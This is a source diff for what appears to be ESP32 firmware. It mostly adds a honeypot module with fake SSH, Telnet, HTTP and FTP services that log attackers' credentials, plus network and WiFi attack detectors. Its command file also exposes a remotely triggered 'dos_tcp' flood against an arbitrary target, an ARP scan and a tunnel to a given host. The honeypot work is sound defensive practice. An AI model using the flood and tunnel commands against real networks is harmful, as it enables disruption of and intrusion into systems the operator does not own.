if (!tracker_mutex)
tracker_mutex = xSemaphoreCreateMutex();
tracker_count = 0;
total_port_scans = total_syn_floods = 0;
memset(trackers, 0, sizeof(trackers));
net_stop_req = false;
BaseType_t ret = xTaskCreatePinnedToCore(net_monitor_task, "hp_net",
NET_MON_STACK, NULL, NET_MON_PRIO, &net_task, NET_MON_CORE);
if (ret != pdPASS) {
ESP_LOGE(TAG, "Failed to create net monitor task");
net_task = NULL;
}
}
void hp_net_monitor_stop(void)
{
if (!net_running && !net_task) {
ESP_LOGW(TAG, "Network monitor not running");
return;
}
net_stop_req = true;
ESP_LOGI(TAG, "Network monitor stop requested");
}
bool hp_net_monitor_running(void)
{
return net_running;
}
int hp_net_monitor_status(char *buf, size_t len)
{
int count = 0;
if (tracker_mutex &&
xSemaphoreTake(tracker_mutex, pdMS_TO_TICKS(50)) == pdTRUE) {
count = tracker_count;
xSemaphoreGive(tracker_mutex);
}
return snprintf(buf, len,
"running=%s tracked_ips=%d port_scans=%lu syn_floods=%lu",
net_running ? "yes" : "no",
count,
(unsigned long)total_port_scans,
(unsigned long)total_syn_floods);
}
#endif /* CONFIG_MODULE_HONEYPOT */

View File

@ -0,0 +1,13 @@
/*
* hp_net_monitor.h
* Network anomaly detector: port scan, SYN flood, ARP flood/spoof.
* Runs a periodic task that inspects counters updated from raw sockets.
*/
#pragma once
#include <stdbool.h>
void hp_net_monitor_start(void);
void hp_net_monitor_stop(void);
bool hp_net_monitor_running(void);
int hp_net_monitor_status(char *buf, size_t len);

View File

@ -0,0 +1,204 @@
/*
* hp_tcp_services.c
* Generic TCP listener + public API for honeypot services.
* Service handlers live in services/svc_*.c
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include <errno.h>
#include "esp_log.h"
#include "services/svc_common.h"
#include "hp_tcp_services.h"
#define TAG "HP_SVC"
#define SVC_STACK_SIZE 4096
#define SVC_PRIORITY 4
#define SVC_CORE 1
#define ACCEPT_TIMEOUT_S 2
#define CLIENT_TIMEOUT_S 5
/* ============================================================
* Service descriptors
* ============================================================ */
static hp_svc_desc_t services[HP_SVC_COUNT] = {
[HP_SVC_SSH] = { .name = "ssh", .port = 22 },
[HP_SVC_TELNET] = { .name = "telnet", .port = 23 },
[HP_SVC_HTTP] = { .name = "http", .port = 80 },
[HP_SVC_FTP] = { .name = "ftp", .port = 21 },
};
static const hp_client_handler_t handlers[HP_SVC_COUNT] = {
[HP_SVC_SSH] = handle_ssh_client,
[HP_SVC_TELNET] = handle_telnet_client,
[HP_SVC_HTTP] = handle_http_client,
[HP_SVC_FTP] = handle_ftp_client,
};
/* ============================================================
* Name <-> ID mapping
* ============================================================ */
int hp_svc_name_to_id(const char *name)
{
for (int i = 0; i < HP_SVC_COUNT; i++) {
if (strcmp(services[i].name, name) == 0)
return i;
}
return -1;
}
const char *hp_svc_id_to_name(hp_svc_id_t svc)
{
if (svc >= HP_SVC_COUNT) return "unknown";
return services[svc].name;
}
/* ============================================================
* Client IP helper
* ============================================================ */
static void sockaddr_to_str(const struct sockaddr_in *addr,
char *ip_buf, size_t ip_len,
uint16_t *port_out)
{
inet_ntoa_r(addr->sin_addr, ip_buf, ip_len);
*port_out = ntohs(addr->sin_port);
}
/* ============================================================
* Generic listener task
* ============================================================ */
static void listener_task(void *arg)
{
hp_svc_desc_t *svc = (hp_svc_desc_t *)arg;
int listen_fd = -1;
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(svc->port),
.sin_addr.s_addr = htonl(INADDR_ANY),
};
listen_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (listen_fd < 0) {
ESP_LOGE(TAG, "%s: socket() failed: %d", svc->name, errno);
goto done;
}
int opt = 1;
setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
if (bind(listen_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
ESP_LOGE(TAG, "%s: bind(%d) failed: %d", svc->name, svc->port, errno);
goto done;
}
if (listen(listen_fd, 2) < 0) {
ESP_LOGE(TAG, "%s: listen() failed: %d", svc->name, errno);
goto done;
}
struct timeval tv = { .tv_sec = ACCEPT_TIMEOUT_S, .tv_usec = 0 };
setsockopt(listen_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
ESP_LOGI(TAG, "%s listening on port %d", svc->name, svc->port);
svc->running = true;
while (!svc->stop_req) {
struct sockaddr_in client_addr;
socklen_t clen = sizeof(client_addr);
int client_fd = accept(listen_fd,
(struct sockaddr *)&client_addr, &clen);
if (client_fd < 0) {
if (errno == EAGAIN || errno == EWOULDBLOCK)
continue;
ESP_LOGW(TAG, "%s: accept error: %d", svc->name, errno);
continue;
}
struct timeval ctv = { .tv_sec = CLIENT_TIMEOUT_S, .tv_usec = 0 };
setsockopt(client_fd, SOL_SOCKET, SO_RCVTIMEO, &ctv, sizeof(ctv));
char client_ip[16];
uint16_t client_port;
sockaddr_to_str(&client_addr, client_ip, sizeof(client_ip),
&client_port);
hp_svc_id_t id = (hp_svc_id_t)(svc - services);
if (id < HP_SVC_COUNT && handlers[id]) {
handlers[id](client_fd, client_ip, client_port, svc);
}
close(client_fd);
}
done:
if (listen_fd >= 0)
close(listen_fd);
svc->running = false;
svc->stop_req = false;
ESP_LOGI(TAG, "%s stopped", svc->name);
svc->task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
void hp_svc_start(hp_svc_id_t svc)
{
if (svc >= HP_SVC_COUNT) return;
hp_svc_desc_t *d = &services[svc];
if (d->running || d->task) {
ESP_LOGW(TAG, "%s already running", d->name);
return;
}
d->stop_req = false;
d->connections = 0;
d->auth_attempts = 0;
char name[16];
snprintf(name, sizeof(name), "hp_%s", d->name);
BaseType_t ret = xTaskCreatePinnedToCore(listener_task, name, SVC_STACK_SIZE,
d, SVC_PRIORITY, &d->task, SVC_CORE);
if (ret != pdPASS) {
ESP_LOGE(TAG, "Failed to create %s task", d->name);
d->task = NULL;
}
}
void hp_svc_stop(hp_svc_id_t svc)
{
if (svc >= HP_SVC_COUNT) return;
hp_svc_desc_t *d = &services[svc];
if (!d->running && !d->task) {
ESP_LOGW(TAG, "%s not running", d->name);
return;
}
d->stop_req = true;
ESP_LOGI(TAG, "%s stop requested", d->name);
}
bool hp_svc_running(hp_svc_id_t svc)
{
if (svc >= HP_SVC_COUNT) return false;
return services[svc].running;
}
int hp_svc_status(hp_svc_id_t svc, char *buf, size_t len)
{
if (svc >= HP_SVC_COUNT) return 0;
hp_svc_desc_t *d = &services[svc];
return snprintf(buf, len,
"service=%s running=%s port=%d connections=%lu auth_attempts=%lu",
d->name,
d->running ? "yes" : "no",
d->port,
(unsigned long)d->connections,
(unsigned long)d->auth_attempts);
}
#endif /* CONFIG_MODULE_HONEYPOT */

View File

@ -0,0 +1,30 @@
/*
* hp_tcp_services.h
* Lightweight TCP honeypot listeners (SSH, Telnet, HTTP, FTP).
* Each service runs as an independent FreeRTOS task.
*/
#pragma once
#include <stdbool.h>
typedef enum {
HP_SVC_SSH = 0,
HP_SVC_TELNET = 1,
HP_SVC_HTTP = 2,
HP_SVC_FTP = 3,
HP_SVC_COUNT
} hp_svc_id_t;
/* Start / stop a single service */
void hp_svc_start(hp_svc_id_t svc);
void hp_svc_stop(hp_svc_id_t svc);
bool hp_svc_running(hp_svc_id_t svc);
/* Get service status line (key=value format) */
int hp_svc_status(hp_svc_id_t svc, char *buf, size_t len);
/* Map service name string to id, returns -1 on unknown */
int hp_svc_name_to_id(const char *name);
/* Map id to name */
const char *hp_svc_id_to_name(hp_svc_id_t svc);

View File

@ -0,0 +1,320 @@
/*
* hp_wifi_monitor.c
* WiFi promiscuous-mode monitor: probe requests, deauth frames,
* beacon flood, EAPOL capture detection.
*
* Sends EVT| events via event_send().
* Conflict guard: refuses to start if the fakeAP sniffer is active.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include <stdio.h>
#include <string.h>
#include <stdatomic.h>
#include "esp_wifi.h"
#include "esp_log.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "utils.h"
#include "event_format.h"
#include "hp_config.h"
#include "hp_wifi_monitor.h"
#define TAG "HP_WIFI"
#define WIFI_MON_STACK 4096
#define WIFI_MON_PRIO 4
#define WIFI_MON_CORE 1
/* Rate-limit counters (only report every N-th event) */
#define PROBE_RATE_LIMIT 10
#define DEAUTH_RATE_LIMIT 5
#define BEACON_RATE_LIMIT 20
#define EAPOL_RATE_LIMIT 3
/* Beacon flood detection: N beacons in BEACON_WINDOW_MS from same src */
#define BEACON_FLOOD_THRESHOLD 50
#define BEACON_WINDOW_MS 5000
/* ============================================================
* State
* ============================================================ */
static atomic_bool mon_running = false;
static atomic_bool mon_stop_req = false;
static TaskHandle_t mon_task = NULL;
static uint32_t cnt_probe = 0;
static uint32_t cnt_deauth = 0;
static uint32_t cnt_beacon = 0;
static uint32_t cnt_eapol = 0;
/* Multi-source beacon flood tracker */
#define BEACON_TRACK_MAX 4
typedef struct {
uint8_t mac[6];
uint32_t count;
uint32_t start;
bool alerted;
} beacon_tracker_t;
static beacon_tracker_t beacon_trackers[BEACON_TRACK_MAX];
static int beacon_tracker_count = 0;
/* ============================================================
* IEEE 802.11 helpers
* ============================================================ */
/* Frame control subtypes */
#define WLAN_FC_TYPE_MGMT 0x00
#define WLAN_FC_STYPE_PROBE 0x40 /* Probe Request */
#define WLAN_FC_STYPE_BEACON 0x80 /* Beacon */
#define WLAN_FC_STYPE_DEAUTH 0xC0 /* Deauthentication */
/* EAPOL: data frame with ethertype 0x888E */
#define ETHERTYPE_EAPOL 0x888E
static void mac_to_str(const uint8_t *mac, char *buf, size_t len)
{
snprintf(buf, len, "%02x:%02x:%02x:%02x:%02x:%02x",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
}
/* ============================================================
* Beacon flood helper find or create tracker for MAC
* ============================================================ */
static beacon_tracker_t *beacon_find_or_create(const uint8_t *mac, uint32_t now)
{
/* Search existing */
for (int i = 0; i < beacon_tracker_count; i++) {
if (memcmp(beacon_trackers[i].mac, mac, 6) == 0)
return &beacon_trackers[i];
}
/* Evict oldest if full */
if (beacon_tracker_count >= BEACON_TRACK_MAX) {
int oldest = 0;
for (int i = 1; i < beacon_tracker_count; i++) {
if (beacon_trackers[i].start < beacon_trackers[oldest].start)
oldest = i;
}
if (oldest < beacon_tracker_count - 1)
beacon_trackers[oldest] = beacon_trackers[beacon_tracker_count - 1];
beacon_tracker_count--;
}
beacon_tracker_t *t = &beacon_trackers[beacon_tracker_count++];
memcpy(t->mac, mac, 6);
t->count = 0;
t->start = now;
t->alerted = false;
return t;
}
/* ============================================================
* Promiscuous RX callback
* ============================================================ */
static void wifi_monitor_rx_cb(void *buf, wifi_promiscuous_pkt_type_t type)
{
if (!mon_running)
return;
const wifi_promiscuous_pkt_t *pkt = (const wifi_promiscuous_pkt_t *)buf;
const uint8_t *frame = pkt->payload;
uint16_t frame_len = pkt->rx_ctrl.sig_len;
if (frame_len < 24)
return;
uint8_t fc0 = frame[0];
uint8_t fc_type = fc0 & 0x0C; /* bits 2-3 */
uint8_t fc_subtype = fc0 & 0xF0; /* bits 4-7 */
/* Source MAC (addr2 = transmitter) at offset 10 */
const uint8_t *src_mac = &frame[10];
char mac_str[18];
if (type == WIFI_PKT_MGMT) {
if (fc_type == WLAN_FC_TYPE_MGMT) {
/* --- Probe Request --- */
if (fc_subtype == WLAN_FC_STYPE_PROBE) {
cnt_probe++;
if ((cnt_probe % PROBE_RATE_LIMIT) == 1) {
mac_to_str(src_mac, mac_str, sizeof(mac_str));
char detail[64];
snprintf(detail, sizeof(detail), "count=%lu",
(unsigned long)cnt_probe);
event_send("WIFI_PROBE", "LOW",
mac_str, "0.0.0.0", 0, 0, detail, NULL);
}
return;
}
/* --- Deauthentication --- */
if (fc_subtype == WLAN_FC_STYPE_DEAUTH) {
cnt_deauth++;
if ((cnt_deauth % DEAUTH_RATE_LIMIT) == 1) {
mac_to_str(src_mac, mac_str, sizeof(mac_str));
char detail[64];
snprintf(detail, sizeof(detail), "reason=%d count=%lu",
(frame_len >= 26) ? (frame[24] | (frame[25] << 8)) : 0,
(unsigned long)cnt_deauth);
event_send("WIFI_DEAUTH", "HIGH",
mac_str, "0.0.0.0", 0, 0, detail, NULL);
}
return;
}
/* --- Beacon flood detection (multi-source) --- */
if (fc_subtype == WLAN_FC_STYPE_BEACON) {
uint32_t now = (uint32_t)(xTaskGetTickCount() *
portTICK_PERIOD_MS);
beacon_tracker_t *bt = beacon_find_or_create(src_mac, now);
if ((now - bt->start) >= BEACON_WINDOW_MS) {
/* Window expired, reset */
bt->start = now;
bt->count = 1;
bt->alerted = false;
} else {
bt->count++;
if (bt->count >= BEACON_FLOOD_THRESHOLD && !bt->alerted) {
bt->alerted = true;
cnt_beacon++;
mac_to_str(src_mac, mac_str, sizeof(mac_str));
char detail[64];
snprintf(detail, sizeof(detail),
"beacons=%lu window_ms=%d",
(unsigned long)bt->count,
BEACON_WINDOW_MS);
event_send("WIFI_BEACON_FLOOD", "HIGH",
mac_str, "0.0.0.0", 0, 0, detail, NULL);
}
}
return;
}
}
}
/* --- EAPOL detection (data frames with 802.1X ethertype) --- */
if (type == WIFI_PKT_DATA && frame_len >= 36) {
/* LLC/SNAP header starts at offset 24 for data frames:
* 24: AA AA 03 00 00 00 [ethertype_hi] [ethertype_lo] */
if (frame[24] == 0xAA && frame[25] == 0xAA && frame[26] == 0x03) {
uint16_t ethertype = (frame[30] << 8) | frame[31];
if (ethertype == ETHERTYPE_EAPOL) {
cnt_eapol++;
if ((cnt_eapol % EAPOL_RATE_LIMIT) == 1) {
mac_to_str(src_mac, mac_str, sizeof(mac_str));
char detail[64];
snprintf(detail, sizeof(detail), "count=%lu",
(unsigned long)cnt_eapol);
event_send("WIFI_EAPOL", "CRITICAL",
mac_str, "0.0.0.0", 0, 0, detail, NULL);
}
}
}
}
}
/* ============================================================
* Monitor task (just keeps alive, callback does the work)
* ============================================================ */
static void wifi_monitor_task(void *arg)
{
(void)arg;
esp_err_t err = esp_wifi_set_promiscuous_rx_cb(wifi_monitor_rx_cb);
if (err != ESP_OK) {
ESP_LOGE(TAG, "set_promiscuous_rx_cb failed: %s", esp_err_to_name(err));
goto done;
}
err = esp_wifi_set_promiscuous(true);
if (err != ESP_OK) {
ESP_LOGE(TAG, "set_promiscuous(true) failed: %s", esp_err_to_name(err));
goto done;
}
/* Filter: management + data frames only */
wifi_promiscuous_filter_t filter = {
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT |
WIFI_PROMIS_FILTER_MASK_DATA
};
esp_wifi_set_promiscuous_filter(&filter);
ESP_LOGI(TAG, "WiFi monitor started");
mon_running = true;
/* Idle loop, checking for stop request */
while (!mon_stop_req) {
vTaskDelay(pdMS_TO_TICKS(500));
}
esp_wifi_set_promiscuous(false);
esp_wifi_set_promiscuous_rx_cb(NULL);
done:
mon_running = false;
mon_stop_req = false;
ESP_LOGI(TAG, "WiFi monitor stopped");
mon_task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
void hp_wifi_monitor_start(void)
{
if (mon_running || mon_task) {
ESP_LOGW(TAG, "WiFi monitor already running");
return;
}
cnt_probe = cnt_deauth = cnt_beacon = cnt_eapol = 0;
memset(beacon_trackers, 0, sizeof(beacon_trackers));
beacon_tracker_count = 0;
mon_stop_req = false;
BaseType_t ret = xTaskCreatePinnedToCore(wifi_monitor_task, "hp_wifi",
WIFI_MON_STACK, NULL, WIFI_MON_PRIO, &mon_task, WIFI_MON_CORE);
if (ret != pdPASS) {
ESP_LOGE(TAG, "Failed to create WiFi monitor task");
mon_task = NULL;
}
}
void hp_wifi_monitor_stop(void)
{
if (!mon_running && !mon_task) {
ESP_LOGW(TAG, "WiFi monitor not running");
return;
}
mon_stop_req = true;
ESP_LOGI(TAG, "WiFi monitor stop requested");
}
bool hp_wifi_monitor_running(void)
{
return mon_running;
}
int hp_wifi_monitor_status(char *buf, size_t len)
{
return snprintf(buf, len,
"running=%s probes=%lu deauth=%lu beacon_flood=%lu eapol=%lu",
mon_running ? "yes" : "no",
(unsigned long)cnt_probe,
(unsigned long)cnt_deauth,
(unsigned long)cnt_beacon,
(unsigned long)cnt_eapol);
}
#endif /* CONFIG_MODULE_HONEYPOT */

View File

@ -0,0 +1,13 @@
/*
* hp_wifi_monitor.h
* WiFi promiscuous-mode monitor: probe requests, deauth frames,
* beacon flood, EAPOL capture detection.
*/
#pragma once
#include <stdbool.h>
void hp_wifi_monitor_start(void);
void hp_wifi_monitor_stop(void);
bool hp_wifi_monitor_running(void);
int hp_wifi_monitor_status(char *buf, size_t len);

View File

@ -0,0 +1,41 @@
/*
* svc_common.h
* Shared types and helpers for honeypot TCP service handlers.
*/
#pragma once
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "lwip/sockets.h"
#include "utils.h"
#include "event_format.h"
#include "hp_config.h"
#define MAX_CLIENT_BUF 256
/* Service runtime descriptor (owned by hp_tcp_services.c) */
typedef struct {
const char *name;
uint16_t port;
volatile bool running;
volatile bool stop_req;
TaskHandle_t task;
uint32_t connections;
uint32_t auth_attempts;
} hp_svc_desc_t;
/* Client handler signature */
typedef void (*hp_client_handler_t)(int client_fd, const char *client_ip,
uint16_t client_port, hp_svc_desc_t *svc);
/* Per-service handlers (implemented in svc_*.c) */
void handle_ssh_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);
void handle_telnet_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);
void handle_http_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);
void handle_ftp_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);

View File

@ -0,0 +1,68 @@
/*
* svc_ftp.c
* FTP honeypot handler banner + USER/PASS capture + tarpit.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include <strings.h>
#include "svc_common.h"
void handle_ftp_client(int client_fd, const char *client_ip,
uint16_t client_port, hp_svc_desc_t *svc)
{
char banner[128];
hp_config_get_banner("ftp", banner, sizeof(banner));
send(client_fd, banner, strlen(banner), 0);
svc->connections++;
event_send("SVC_CONNECT", "LOW", "00:00:00:00:00:00",
client_ip, client_port, 21, "service=ftp", NULL);
char user[64] = {0}, pass[64] = {0};
for (int round = 0; round < 4; round++) {
char buf[MAX_CLIENT_BUF];
int n = recv(client_fd, buf, sizeof(buf) - 1, 0);
if (n <= 0) break;
buf[n] = '\0';
if (strncasecmp(buf, "USER ", 5) == 0) {
strncpy(user, buf + 5, sizeof(user) - 1);
user[sizeof(user) - 1] = '\0';
char *p = user; while (*p && *p != '\r' && *p != '\n') p++; *p = '\0';
const char *resp = "331 Password required\r\n";
send(client_fd, resp, strlen(resp), 0);
} else if (strncasecmp(buf, "PASS ", 5) == 0) {
strncpy(pass, buf + 5, sizeof(pass) - 1);
pass[sizeof(pass) - 1] = '\0';
char *p = pass; while (*p && *p != '\r' && *p != '\n') p++; *p = '\0';
const char *resp = "530 Login incorrect\r\n";
send(client_fd, resp, strlen(resp), 0);
break;
} else if (strncasecmp(buf, "QUIT", 4) == 0) {
const char *resp = "221 Goodbye\r\n";
send(client_fd, resp, strlen(resp), 0);
break;
} else {
const char *resp = "500 Unknown command\r\n";
send(client_fd, resp, strlen(resp), 0);
}
}
if (user[0] || pass[0]) {
svc->auth_attempts++;
char detail[192];
snprintf(detail, sizeof(detail),
"service=ftp user='%.32s' pass='%.32s'", user, pass);
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
client_ip, client_port, 21, detail, NULL);
}
int tarpit = hp_config_get_threshold("tarpit_ms");
if (tarpit > 0)
vTaskDelay(pdMS_TO_TICKS(tarpit));
}
#endif

View File

@ -0,0 +1,106 @@
/*
* svc_http.c
* HTTP honeypot handler request logging + POST body capture.
* Serves a fake login page to capture credentials.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include "svc_common.h"
/* Extract server name from NVS banner (e.g. "Apache/2.4.54 (Ubuntu)") */
static void extract_server_name(char *out, size_t out_len)
{
char banner[128];
hp_config_get_banner("http", banner, sizeof(banner));
/* Banner format: "HTTP/1.1 200 OK\r\nServer: Apache/2.4.54 (Ubuntu)\r\n" */
char *srv = strstr(banner, "Server: ");
if (srv) {
srv += 8;
char *end = strstr(srv, "\r\n");
size_t len = end ? (size_t)(end - srv) : strlen(srv);
if (len >= out_len) len = out_len - 1;
memcpy(out, srv, len);
out[len] = '\0';
} else {
snprintf(out, out_len, "Apache/2.4.54");
}
}
/* Login page body */
static const char LOGIN_PAGE[] =
"<html><head><title>Admin Panel</title>"
"<style>body{font-family:sans-serif;background:#f0f0f0;display:flex;"
"justify-content:center;align-items:center;height:100vh;margin:0}"
".box{background:#fff;padding:2rem;border-radius:8px;box-shadow:0 2px 8px rgba(0,0,0,.2)}"
"input{display:block;margin:0.5rem 0;padding:0.4rem;width:200px}"
"button{padding:0.5rem 1rem;cursor:pointer}</style></head>"
"<body><div class='box'><h2>Authentication Required</h2>"
"<form method='POST' action='/login'>"
"<input name='user' placeholder='Username'>"
"<input name='pass' type='password' placeholder='Password'>"
"<button type='submit'>Login</button>"
"</form></div></body></html>";
void handle_http_client(int client_fd, const char *client_ip,
uint16_t client_port, hp_svc_desc_t *svc)
{
svc->connections++;
char buf[MAX_CLIENT_BUF];
int n = recv(client_fd, buf, sizeof(buf) - 1, 0);
if (n <= 0) return;
buf[n] = '\0';
/* Extract first line without modifying buf (needed for POST body search) */
char first_line[130];
char *eol = strstr(buf, "\r\n");
size_t fl_len = eol ? (size_t)(eol - buf) : (size_t)n;
if (fl_len >= sizeof(first_line)) fl_len = sizeof(first_line) - 1;
memcpy(first_line, buf, fl_len);
first_line[fl_len] = '\0';
char detail[192];
snprintf(detail, sizeof(detail), "service=http request='%.128s'", first_line);
event_send("SVC_CONNECT", "MEDIUM", "00:00:00:00:00:00",
client_ip, client_port, 80, detail, NULL);
/* Check for POST data → auth attempt */
if (strncmp(buf, "POST", 4) == 0) {
svc->auth_attempts++;
char *body = strstr(buf, "\r\n\r\n");
if (body) {
body += 4;
char post_detail[192];
snprintf(post_detail, sizeof(post_detail),
"service=http post='%.128s'", body);
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
client_ip, client_port, 80, post_detail, NULL);
}
}
/* Build proper HTTP response */
char server_name[64];
extract_server_name(server_name, sizeof(server_name));
int body_len = (int)sizeof(LOGIN_PAGE) - 1;
char resp_hdr[256];
int hdr_len = snprintf(resp_hdr, sizeof(resp_hdr),
"HTTP/1.1 200 OK\r\n"
"Server: %s\r\n"
"Content-Type: text/html\r\n"
"Content-Length: %d\r\n"
"Connection: close\r\n\r\n",
server_name, body_len);
send(client_fd, resp_hdr, hdr_len, 0);
send(client_fd, LOGIN_PAGE, body_len, 0);
int tarpit = hp_config_get_threshold("tarpit_ms");
if (tarpit > 0)
vTaskDelay(pdMS_TO_TICKS(tarpit));
}
#endif

View File

@ -0,0 +1,42 @@
/*
* svc_ssh.c
* SSH honeypot handler banner + auth attempt capture + tarpit.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include "svc_common.h"
void handle_ssh_client(int client_fd, const char *client_ip,
uint16_t client_port, hp_svc_desc_t *svc)
{
char banner[128];
hp_config_get_banner("ssh", banner, sizeof(banner));
send(client_fd, banner, strlen(banner), 0);
svc->connections++;
event_send("SVC_CONNECT", "LOW", "00:00:00:00:00:00",
client_ip, client_port, 22, "service=ssh", NULL);
/* Read client version string / auth attempt */
char buf[MAX_CLIENT_BUF];
int n = recv(client_fd, buf, sizeof(buf) - 1, 0);
if (n > 0) {
buf[n] = '\0';
while (n > 0 && (buf[n-1] == '\r' || buf[n-1] == '\n'))
buf[--n] = '\0';
svc->auth_attempts++;
char detail[192];
snprintf(detail, sizeof(detail), "service=ssh payload='%.128s'", buf);
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
client_ip, client_port, 22, detail, NULL);
}
int tarpit = hp_config_get_threshold("tarpit_ms");
if (tarpit > 0)
vTaskDelay(pdMS_TO_TICKS(tarpit));
}
#endif

View File

@ -0,0 +1,60 @@
/*
* svc_telnet.c
* Telnet honeypot handler login prompt + user/pass capture + tarpit.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include "svc_common.h"
void handle_telnet_client(int client_fd, const char *client_ip,
uint16_t client_port, hp_svc_desc_t *svc)
{
char banner[128];
hp_config_get_banner("telnet", banner, sizeof(banner));
send(client_fd, banner, strlen(banner), 0);
svc->connections++;
event_send("SVC_CONNECT", "LOW", "00:00:00:00:00:00",
client_ip, client_port, 23, "service=telnet", NULL);
/* Read username */
char user[64] = {0};
int n = recv(client_fd, user, sizeof(user) - 1, 0);
if (n > 0) {
user[n] = '\0';
while (n > 0 && (user[n-1] == '\r' || user[n-1] == '\n'))
user[--n] = '\0';
}
/* Send password prompt */
const char *pass_prompt = "Password: ";
send(client_fd, pass_prompt, strlen(pass_prompt), 0);
char pass[64] = {0};
n = recv(client_fd, pass, sizeof(pass) - 1, 0);
if (n > 0) {
pass[n] = '\0';
while (n > 0 && (pass[n-1] == '\r' || pass[n-1] == '\n'))
pass[--n] = '\0';
}
if (user[0] || pass[0]) {
svc->auth_attempts++;
char detail[192];
snprintf(detail, sizeof(detail),
"service=telnet user='%.32s' pass='%.32s'", user, pass);
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
client_ip, client_port, 23, detail, NULL);
}
const char *fail = "\r\nLogin incorrect\r\n";
send(client_fd, fail, strlen(fail), 0);
int tarpit = hp_config_get_threshold("tarpit_ms");
if (tarpit > 0)
vTaskDelay(pdMS_TO_TICKS(tarpit));
}
#endif

View File

@ -1,3 +1,9 @@
idf_component_register(SRCS "cmd_network.c" "mod_ping.c" "mod_proxy.c" "mod_arp.c" "mod_dos.c"
set(SRCS "cmd_network.c" "mod_ping.c" "mod_arp.c" "mod_dos.c")
if(CONFIG_MODULE_TUNNEL)
list(APPEND SRCS "tun_core.c")
endif()
idf_component_register(SRCS ${SRCS}
INCLUDE_DIRS .
REQUIRES lwip protocol_examples_common esp_wifi core command)
REQUIRES lwip protocol_examples_common esp_wifi core)

View File

@ -11,16 +11,17 @@
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "command.h"
#include "utils.h"
#ifdef CONFIG_MODULE_TUNNEL
#include "tun_core.h"
#endif
/* ============================================================
* EXTERNAL SYMBOLS
* ============================================================ */
int do_ping_cmd(int argc, char **argv);
int do_ping_cmd(int argc, char **argv, const char *req);
void arp_scan_task(void *pvParameters);
void init_proxy(char *ip, int port);
extern int proxy_running;
void start_dos(const char *t_ip, uint16_t t_port, int count);
#define TAG "CMD_NETWORK"
@ -41,7 +42,7 @@
return -1;
}
return do_ping_cmd(argc + 1, argv - 1);
return do_ping_cmd(argc, argv, req);
}
/* ============================================================
@ -56,13 +57,15 @@
(void)argc;
(void)argv;
(void)ctx;
(void)req;
/* Heap-copy request_id for the scan task (freed inside arp_scan_task) */
char *req_copy = req ? strdup(req) : NULL;
xTaskCreatePinnedToCore(
arp_scan_task,
"arp_scan",
6144,
NULL,
req_copy,
5,
NULL,
1
@ -71,55 +74,6 @@
return 0;
}
/* ============================================================
* COMMAND: proxy_start <ip> <port>
* ============================================================ */
static int cmd_proxy_start(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)ctx;
if (argc != 2) {
msg_error(TAG, "usage: proxy_start <ip> <port>", req);
return -1;
}
if (proxy_running) {
msg_error(TAG, "proxy already running", req);
return -1;
}
init_proxy(argv[0], atoi(argv[1]));
msg_info(TAG, "proxy started", req);
return 0;
}
/* ============================================================
* COMMAND: proxy_stop
* ============================================================ */
static int cmd_proxy_stop(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)argc;
(void)argv;
(void)ctx;
if (!proxy_running) {
msg_error(TAG, "proxy not running", req);
return -1;
}
proxy_running = 0;
msg_info(TAG, "proxy stopping", req);
return 0;
}
/* ============================================================
* COMMAND: dos_tcp <ip> <port> <count>
* ============================================================ */
@ -145,18 +99,101 @@
msg_info(TAG, "DOS task started", req);
return 0;
}
#ifdef CONFIG_MODULE_TUNNEL
/* ============================================================
* COMMAND: tun_start <ip> <port>
* ============================================================ */
static int cmd_tun_start(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)ctx;
if (argc != 2) {
msg_error(TAG, "usage: tun_start <ip> <port>", req);
return -1;
}
if (tun_is_running()) {
msg_error(TAG, "tunnel already running", req);
return -1;
}
int port = atoi(argv[1]);
if (port <= 0 || port > 65535) {
msg_error(TAG, "invalid port", req);
return -1;
}
if (!tun_start(argv[0], port, req)) {
msg_error(TAG, "tunnel start failed", req);
return -1;
}
msg_info(TAG, "tunnel starting", req);
return 0;
}
/* ============================================================
* COMMAND: tun_stop
* ============================================================ */
static int cmd_tun_stop(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)argc;
(void)argv;
(void)ctx;
if (!tun_is_running()) {
msg_error(TAG, "tunnel not running", req);
return -1;
}
tun_stop();
msg_info(TAG, "tunnel stopping", req);
return 0;
}
/* ============================================================
* COMMAND: tun_status
* ============================================================ */
static int cmd_tun_status(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)argc;
(void)argv;
(void)ctx;
char status[256];
tun_get_status(status, sizeof(status));
msg_info(TAG, status, req);
return 0;
}
#endif /* CONFIG_MODULE_TUNNEL */
/* ============================================================
